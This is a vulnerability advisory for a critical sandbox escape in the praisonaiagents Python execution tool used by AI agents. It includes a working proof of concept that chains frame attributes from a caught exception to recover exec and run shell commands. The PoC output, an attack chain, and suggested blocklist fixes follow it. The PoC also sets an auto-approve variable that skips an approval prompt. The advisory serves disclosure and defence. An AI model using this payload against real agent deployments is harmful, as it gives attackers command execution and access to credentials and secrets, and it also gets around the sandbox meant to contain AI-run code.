PT-2026-53561 · Pypi · Praisonaiagents

Published

2026-06-29

·

Updated

2026-06-29

CVSS v3.1

9.9

Critical

VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

execute code() in praisonaiagents.tools.python tools defaults to sandbox mode="sandbox", which runs user code in a subprocess wrapped with a restricted builtins dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blocked attrs, line 143 of python tools.py) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list:
AttributeIn subprocess blocked attrsIn direct-mode blocked attrs
tracebackNOYES
tb frameNOYES
f backNOYES
f builtinsNOYES
Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer.
Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical
VectorValueRationale
AV:NNetworkexecute code is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments
AC:LLowNo race conditions or special configuration required
PR:LLowRequires ability to submit code through an agent (typical end-user privilege)
UI:NNoneNo victim interaction
S:CChangedEscapes subprocess sandbox into full host process context
C:HHighArbitrary file read, environment variable access, credential exfiltration
I:HHighArbitrary file write, arbitrary code execution on host
A:HHighCan terminate processes, exhaust resources

Affected

  • Package: praisonaiagents (PyPI)
  • Affected versions: all versions shipping sandbox mode="sandbox" (default since introduction) through 1.5.113
  • Patched versions: none at time of report
  • File: praisonaiagents/tools/python tools.py

Root Cause

Two separate blocked attrs sets — one much weaker than the other

validate code ast() (line 39, used by direct mode) blocks 30+ attributes:
python
# python tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)
 blocked attrs = frozenset({
  ' subclasses ', ' bases ', ' mro ', ' globals ',
  ' code ', ' class ', ' dict ', ' builtins ',
  ' import ', ' loader ', ' spec ', ' init subclass ',
  ' set name ', ' reduce ', ' reduce ex ',
  ' traceback ', ' qualname ', ' module ',  # ← present here
  ' wrapped ', ' closure ', ' annotations ',
  'gi frame', 'gi code', 'cr frame', 'cr code',
  'ag frame', 'ag code', 'tb frame', 'tb next',  # ← present here
  'f globals', 'f locals', 'f builtins', 'f code', # ← present here
  'co consts', 'co names',
})
The subprocess wrapper script written to disk (line 143) uses a separate, inline blocked attrs with only 11 entries — the frame-traversal attrs are missing:
python
# python tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)
blocked attrs = {
  ' subclasses ', ' bases ', ' mro ', ' globals ',
  ' code ', ' class ', ' dict ', ' builtins ',
  ' import ', ' loader ', ' spec '
  #  traceback , tb frame, f back, f builtins — all absent
}

safe getattr does not protect direct dot-notation access

safe getattr replaces the getattr builtin and blocks attribute names starting with . However, it is only invoked when user code explicitly calls getattr(obj, name). Direct attribute access (obj.attr in source) uses Python's C-level tp getattro slot and never passes through safe getattr. The AST check is therefore the only barrier to direct attribute access, and it is insufficient.

No text-pattern blocklist in subprocess mode

execute code direct applies a text-pattern blocklist (dangerous patterns) as a defence-in-depth layer. execute code sandboxed has no such layer — only the AST check runs.

Proof of Concept

python
import os
os.environ["PRAISONAI AUTO APPROVE"] = "true"
from praisonaiagents.tools.python tools import execute code

CMD = "id"  # any shell command

payload = f"""
try:
  1/0
except ZeroDivisionError as e:
   p = e. traceback .tb frame.f back
   x = p.f builtins["exec"]
   x("import subprocess; print(subprocess.check output({repr(CMD)}, shell=True).decode())",
    {{" builtins ": p.f builtins}})
"""

 result = execute code(code=payload)
print(result["stdout"])
Output (praisonaiagents 1.5.113, Python 3.10):
uid=1000(user) gid=1000(user) groups=1000(user)
image
Why each defence is bypassed:
LayerStatusReason
AST blocked attrsBYPASSEDtraceback, tb frame, f back, f builtins not in 11-item subprocess list
safe getattrBYPASSEDOnly intercepts getattr() calls; dot notation uses C-level tp getattro
exec-by-name AST checkBYPASSEDCalled as x(...)func.id is ' x', not 'exec'
Text-pattern blocklistN/ADoes not exist in subprocess mode
Subprocess process isolationBYPASSEDFrame traversal reaches real builtins within the subprocess

Attack Chain

execute code(payload)
 └─ execute code sandboxed()
    └─ subprocess: exec(user code, safe globals)
      └─ user code raises ZeroDivisionError
         └─ e. traceback       ←  traceback  not in blocked attrs
           └─ .tb frame      ← tb frame not in blocked attrs
              └─ .f back    ← f back not in blocked attrs
                └─ .f builtins ← f builtins not in blocked attrs
                   └─ ["exec"] ← dict subscript, no attr check
                     └─ x("import subprocess; ...")
                        └─ RCE

Impact

Any application that exposes execute code to user-controlled or LLM-generated input — including all standard PraisonAI agent deployments — is fully compromised by a single API call:
  • Arbitrary command execution on the host (in the subprocess user context)
  • File system read/write — source code, credentials, .env files, SSH keys
  • Environment variable exfiltration — API keys, secrets passed to the agent process
  • Network access — outbound connections to attacker infrastructure unaffected by env={}
  • Lateral movement — the subprocess inherits the host's network stack and filesystem

Suggested Fix

1. Merge blocked attrs into a single shared constant

The subprocess wrapper must use the same attribute blocklist as the direct mode. Replace the inline blocked attrs in the wrapper template with the full set:
python
# Add to subprocess wrapper template (python tools.py ~line 143):
blocked attrs = {
  ' subclasses ', ' bases ', ' mro ', ' globals ',
  ' code ', ' class ', ' dict ', ' builtins ',
  ' import ', ' loader ', ' spec ', ' init subclass ',
  ' set name ', ' reduce ', ' reduce ex ',
  ' traceback ', ' qualname ', ' module ',  # ← ADD
  ' wrapped ', ' closure ', ' annotations ', # ← ADD
  'gi frame', 'gi code', 'cr frame', 'cr code',  # ← ADD
  'ag frame', 'ag code', 'tb frame', 'tb next',  # ← ADD
  'f globals', 'f locals', 'f builtins', 'f code', # ← ADD
  'co consts', 'co names',             # ← ADD
}

2. Block all -prefixed attribute access at AST level

safe getattr only covers getattr() calls. Add a blanket AST rule to block any ast.Attribute node whose attr starts with :
python
if isinstance(node, ast.Attribute) and node.attr.startswith(' '):
  return f"Access to private attribute '{node.attr}' is restricted"

3. Add the text-pattern layer to subprocess mode

Mirror execute code direct's dangerous patterns check in execute code sandboxed as defence-in-depth.

References

  • Affected file: praisonaiagents/tools/python tools.py (PyPI: praisonaiagents)
  • CWE-693: Protection Mechanism Failure
  • CWE-657: Violation of Secure Design Principles

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-486

Affected Products

Praisonaiagents